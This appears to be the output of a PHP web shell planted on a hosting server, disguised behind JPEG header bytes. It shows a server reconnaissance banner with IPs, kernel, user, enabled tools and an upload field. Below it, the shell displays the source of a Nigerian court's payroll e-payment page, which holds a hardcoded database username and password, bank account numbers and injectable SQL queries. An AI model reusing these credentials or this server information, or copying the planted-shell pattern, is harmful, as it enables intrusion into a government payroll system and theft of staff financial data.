ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.127.120 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/consolidated/ |
Upload File : |
<?php // //require_once('business login/classes/.php'); require_once('business logic/classes/users.php'); require_once('business logic/classes/operations.php'); // $user = new User(); $oper =new Operations(); // $uid = $_SESSION['uid']; $access = $_SESSION['acc']; // if (!$user->get_session()) { header("location:myown_mainpage.php?you are not login"); } // if (isset($_GET['q']) and $_GET['q'] == 'logout') { $user->user_logout(); header("location:myown_mainpage.php? you are log out"); } $topetotal = 0; if (isset($_SESSION['schqc']) and isset($_SESSION['mqc']) and isset($_SESSION['yqc']) ) { $bkname = mysql_real_escape_string($_SESSION['schqc']);//$_SESSION['schqc']..$_SESSION['mqc']...$_SESSION['yqc'] $mth = mysql_real_escape_string($_SESSION['mqc']); $yr = mysql_real_escape_string($_SESSION['yqc']); $cadre = mysql_real_escape_string($_SESSION['cadre']); $bgroup = mysql_real_escape_string($_SESSION['bgroup']); } // //$result = mysql_query("select * from tblper order by surname, othernames"); ?> <?php $db = mysqli_connect("localhost","nicngov_payroll","_nicn.payroll@","nicngov_payroll"); $getSignatory = mysqli_query($db, "select * from tblsignatory"); $sql = mysqli_query($db, "select * from signatory where month='$mth' and year ='$yr' "); $check = mysqli_num_rows($sql); if($check === 0) { $name1 = ''; $name2 = ''; $name3 = ''; $phone1 = ''; $phone2 = ''; $phone3 = ''; } else { $sign1 = mysqli_query($db, "select * from signatory where month='$mth' and year ='$yr' and sequence = 1"); $s1 = mysqli_fetch_assoc($sign1); $sign2 = mysqli_query($db, "select * from signatory where month='$mth' and year ='$yr' and sequence = 2"); $s2 = mysqli_fetch_assoc($sign2); $sign3 = mysqli_query($db, "select * from signatory where month='$mth' and year ='$yr' and sequence = 3"); $s3 = mysqli_fetch_assoc($sign3); $name1 = $s1['name']; $name2 = $s2['name']; $name3 = $s3['name']; $phone1 = $s1['phone']; $phone2 = $s2['phone']; $phone3 = $s3['phone']; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/favicon.ico"> <title>National Industrial Court of Nigeria...::...Bank Schedule</title> <style type="text/css"> <!-- .style25 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #FF0000; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: underline; } a:active { text-decoration: none; } body { background-image: url(images/nicn_bg.jpg); } .tblborder { border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; } body,td,th { font-size: 15px; font-family: Verdana, Geneva, sans-serif; } --> </style> <script type="text/javascript" src="js/number_to_word.js"> </script> </head> <body onload="lookup();"> <?php $page_name="eschedule.php"; // If you use this code with a different page ( or file ) name then change this @$limit=$_GET['limit']; // Read the limit value from query string. $start=$_GET['start']; if(strlen($start) > 0 and !is_numeric($start)){ echo "Data Error"; exit; } $eu = ($start - 0); $limit = 10; // No of records to be shown per page. $this1 = $eu + $limit; $back = $eu - $limit; $next = $eu + $limit; if ($cadre != "CR") { $query="SELECT PER.fileNo, PY.fileNo, PER.bank, BK.bank, PY.month, PY.year, PER.accNo, BK.sort_code,PER.surname, PER.first_name, PER.othernames, PY.totalEmolu, PER.bank_branch, BK.code, PER.accNo, BK.sort_code, BK.code, PER.division FROM tblper AS PER,tbl_conpayment AS PY,tbl_conbank AS BK WHERE (PER.bank = BK.bank and PER.bank = '$bkname') and (PY.month = '$mth' and PY.year= '$yr') and (PER.fileNo = PY.fileNo) and (PY.rank = '$cadre') and (PER.bankGroup ='$bgroup')"; } else { $query="SELECT PER.fileNo, PY.fileNo, PER.bank, BK.bank, PY.month, PY.year, PER.surname, PER.first_name, PER.othernames, PY.totalEmolu, PER.bank_branch, BK.code, PER.accNo, BK.sort_code, BK.code as CR_CODE FROM tblper AS PER, tbl_conpayment AS PY, tbl_conbank AS BK WHERE (BK.division = 'LAGOS' and BK.bank = PER.bank) and(PER.bank = BK.bank AND PER.bank = '$bkname') and (PER.bankGroup ='$bgroup') and (PY.rank = '$cadre') AND (PY.month = '$mth' AND PY.year = '$yr') AND (PER.fileNo = PY.fileNo) ORDER BY PY.basic_salary desc limit $eu, $limit"; } $result=mysql_query($query) or die ( 'here 2 '.mysql_error());//limit $eu, $limit $rows = mysql_fetch_assoc($result) //..,PER.accNo,PER.surname,PER.othernames,Bk.branch,BK.sort_code,SUM(PY.totalEmolu) AS netEmolu //$bk=mysql_fetch_array($result);...............limit $eu, $limit ?> <div align="center"> <table width="1122" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td colspan="3"><div align="center"><strong> <?php ;//require_once('header.php');?> NATIONAL INDUSTRIAL COURT NIGERIA <br /> </strong></div></td> </tr> <tr> <td colspan="3"><div align="center">10, PORT HARCOURT CRESENT, AREA 11, GARKI, ABUJA<br /> ACCOUNT NUMBER: <?php if($cadre == "CR") echo "2004656203"; else echo "0003690917"; ?><br /> E-PAYMENT SCHEDULE</div></td> </tr> <tr> <td width="723"><div align="left">The Branch Manager,<br /> <?php if($cadre == "CR") echo "First Bank of Nigeria,<br> Adeola Odeku,Victoria Island,<br> Lagos, Nigeria.<b>"; else { echo "Guaranty Trust Bank,<br /> Broad Street,<br /> Lagos, Nigeria. <br />"; } ?> </div></td> <td width="405" colspan="2"><div align="left">Reference No:Con/<?php echo date('Y'); ?>/1<?php echo $rows['code'];//date('d/m/Y');?>/A<br /> Code:<?php if ($cadre == "CR") echo $rows['CR_CODE']; else echo $rows['code']; ?> <br /> Sort Code: <?php echo $rows['sort_code'];?><br /> Division: <b><?php echo $rows['division'];?></b> </div></td> </tr> <tr> <td colspan="3"><table width="1177" border="1" align="center" cellpadding="0" cellspacing="0" background="images/bg_1.png" class="tblborder"> <tr> <td width="36"><div align="center"><strong>S/N</strong></div></td> <td width="286"><div align="center"><strong>BENEFICIARY</strong></div> <div align="center"></div> <div align="center"></div></td> <td width="214"><strong>BANK </strong></td> <td width="70"><strong>BRANCH</strong></td> <td width="175"><div align="center"><strong>ACC NUMBER</strong></div></td> <td width="107"><div align="center"><strong>AMOUNT</strong>(<img src="images/naira.jpg" width="15" height="13" />)</div></td> <td width="204"><strong>PURPOSE OF PAYMENT</strong></td> </tr> <?php $sn = 1; $total =0; //while($rows = mysql_fetch_array($result)) //{ do { //$total = $total + $rows['totalEmolu']; ?> <tr> <td align="center"> <?php echo $sn; ?></td> <td align="left"> <?php echo $rows['surname'].', '.$rows['first_name']." ".$rows['othernames']; ?> </td> <td align="left"><?php echo $rows['bank']; ?></td> <td align="left"><?php echo $rows['bank_branch']; ?></td> <td align="center"> <?php echo $rows['accNo'] ;?></td> <td align="center"> <?php echo number_format($rows['totalEmolu'], 2, '.', ',');//$rows['totalEmolu']; ?></td> <td align="center"><div align="left"><?php echo $rows['month'].' '. $rows['year']; ?> Staff Salary</div></td> </tr> <?php ++$sn; $total = $total + $rows['totalEmolu']; } while ($rows = mysql_fetch_assoc($result)); //$topetotal = $total; ?> </table> <table width="1202" border="0" cellpadding="0" cellspacing="0"> <tr> <td colspan="5"><div align="center"> <?php if($nume > $limit ){ // Let us display bottom links if sufficient records are there for paging /////////////// Start the bottom links with Prev and next link with page numbers ///////////////// echo "<table align = 'center' width='80%'><tr><td align='left' width='30%'>"; //// if our variable $back is equal to 0 or more then only we will display the link to move back //////// if($back >=0) { print "<a href='$page_name?start=$back'><font face='Verdana' size='2'>PREV</font></a>"; } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// echo "</td><td align=center width='30%'>"; $i=0; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ echo " <a href='$page_name?start=$i'><font face='Verdana' size='2'>$l</font></a> "; } else { echo "<font face='Verdana' size='4' color=red>$l</font>";} /// Current page is not displayed as link and given font color red $l=$l+1; } echo "</td><td align='right' width='30%'>"; ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { print "<a href='$page_name?start=$next'><font face='Verdana' size='2'>NEXT</font></a>";} echo "</td></tr></table>"; } // end //if checking sufficient records are there to display bottom navigational link. ?> <br /> <?php echo "Please credit the account(s) of the above listed beneficiary(s) and debit our account above with: <img src='images/naira.jpg' width='15' height='13' /><b>".number_format($total, 2, '.', ',')."</b><br>" ; $money_split = explode('.', $total); ?> <script type="text/javascript"> var amount = ""; var amount = "<?php echo number_format($total, 2, '.', '') ; ?>"; var money = amount.split('.'); function lookup() { var words; var naira = money[0]; var kobo = money[1]; var word1 = toWords(naira)+" naira"; var word2 = ", "+toWords(kobo)+" kobo"; if(kobo != "00") words = word1+word2; else words = word1; document.getElementById('result').innerHTML = words.toUpperCase(); } </script> <span id="result"><br /></span> </div><br /></td> </tr> <tr> <td colspan="0" align="left"><strong>ALL DUE PROCESS COMPLIED WITH</strong></strong></td> </tr> <tr> <td width="385"><div align="left"><strong>Authorized Signatory</strong><br /> </div></td> <td width="167"><div align="left"><br /> </div></td> <td width="1" rowspan="9"> </td> <td colspan="2"><div align="left"><strong>Submitted For Confirmation by</strong><br /> </div></td> </tr> <tr> <td align="left">Name: <?php echo $name1; ?></td> <td> </td> <td colspan="2" align="left">Name: <?php echo $name3; ?></td> </tr> <tr> <td align="left" valign="top">Signature:<br /> Date:</td> <td valign="top"><img src="images/sch.jpg" alt="sch" width="120" height="85" align="left" /></td> <td width="448" align="left" valign="top">Signature:<br /> Date:</td> <td width="181" valign="top"><div align="left"><img src="images/sch.jpg" alt="sch" width="120" height="85" align="left" /></div></td> </tr> <tr> <td align="left">Tel No: <?php echo $phone1; ?></td> <td> </td> <td colspan="2" align="left">Tel No: <?php echo $phone3; ?></td> </tr> <tr> <td align="left" width = 385><strong>Authorized Signatory</strong></td> <td> </td> <td colspan="2"><div align="left"><strong>Confirmed Before Me</strong><br /> </div></td> </tr> <tr> <td align="left">Name: <?php echo $name2; ?></td> <td> </td> <td colspan="2" align="left">Name:</td> </tr> <tr> <td valign="top" align="left">Signature:<br /> Date:</td> <td valign="top"><img src="images/sch.jpg" alt="sch" width="120" height="85" align="left" /></td> <td valign="top" align="left">Signature:<br /> Date:</td> <td valign="top"><img src="images/sch.jpg" alt="sch" width="120" height="85" align="left" /></td> </tr> <tr> <td align="left">Tel No: <?php echo $phone2; ?> <?php //require_once 'convertAmount.php'; //echo convert_number_to_words(12); // one hundred and twenty-three million, four hundred and fifty-six thousand, seven hundred and eighty-nine //echo convert_number_to_words(123456789.123); // one hundred and twenty-three million, four hundred and fifty-six thousand, seven hundred and eighty-nine point one two three //echo convert_number_to_words(-1922685.477); // negative one million, nine hundred and twenty-two thousand, six hundred and eighty-five point four seven seven // float rounding can be avoided by passing the number as a string //echo convert_number_to_words(125.45); // rounds the fractional part // one hundred and twenty-three billion, four hundred and fifty-six million, seven hundred and eighty-nine thousand, one hundred and twenty-three point one two //echo convert_number_to_words('123456789123.12345'); // does not round ?></td> <td> </td> <td colspan="2" align="left">Tel No:</td> </tr> </table></td> </tr> </table> <form> <div align="center"></div> </form> </div> </body> </html> <?php //mysql_free_result($viewSch); //session_unregister($_SESSION['schqc']); //session_unregister($_SESSION['mqc']); //session_unregister($_SESSION['yqc']); // //echo 'the vak::::::'.$_SESSION['schqc']; $user->close(); ?>